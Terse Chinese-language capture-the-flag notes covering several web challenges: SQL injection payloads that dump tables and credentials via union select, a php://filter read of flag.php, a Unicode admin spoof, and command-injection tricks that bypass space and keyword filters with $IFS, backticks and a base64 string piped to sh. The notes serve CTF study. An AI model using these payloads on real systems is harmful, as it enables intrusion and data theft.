+ 表示空格(在URL中不能使用空格) %2B
/ 分隔目录和子目录 %2F
? 分隔实际的URL和参数 %3F
# 表示书签 %23
& URL中指定的参数间的分隔符 %26
= URL中指定的参数的值 %3D
试一下万能
admin
1’ or ‘1 = 1’#
md5,换个方向
/check.php?username=admin' order by 4%23&password=1
/check.php?username=admin' order by 3%23&password=1
/check.php?username=1' union select 1, 2,3%23&password=1
看数据库和版本
username=1' union select 1,database(),version()%23&password=1
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
/check.php?username=1' union select 1,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
/check.php?username=1' union select 1,3,group_concat(id,username,password) from l0ve1ysq1%23&password=1
filter伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
base64解码后得到flag
关于伪协议:
https://zhuanlan.zhihu.com/p/49206578
第一种,直接登进去:admin,123,就进去了……
第二种,Unicode欺骗,使用ᴬᴰᴹᴵᴺ,然后改密码,再登录,你就是admin了
进去先随便输点什么
cat flag
过滤了空格
空格过滤:
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换
flag不行
那么先ls看看
过滤了这些
那有三种方法:
① ?ip=1;a=g;cat$IFS$1fla$a.php;
②echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
③?ip=127.0.0.1;cat$IFS$1`ls`
第一种就是让a=g,然后绕过
第二种是使用cat flag的bash64编码绕过
echo是打印出来输入的内容,echo打印出cat flag,然后sh执行
第三种是内敛绕过
内敛执行绕过
``将反引号内命令的输出作为输入执行 ls
将ls出来的文件作为输入 cat ls
cat绕过:
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
内敛执行绕过
``将反引号内命令的输出作为输入执行 ls
将ls出来的文件作为输入 cat ls
https://blog.csdn.net/qq_46184013/article/details/107061110?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.channel_param
https://www.ghtwf01.cn/index.php/archives/273/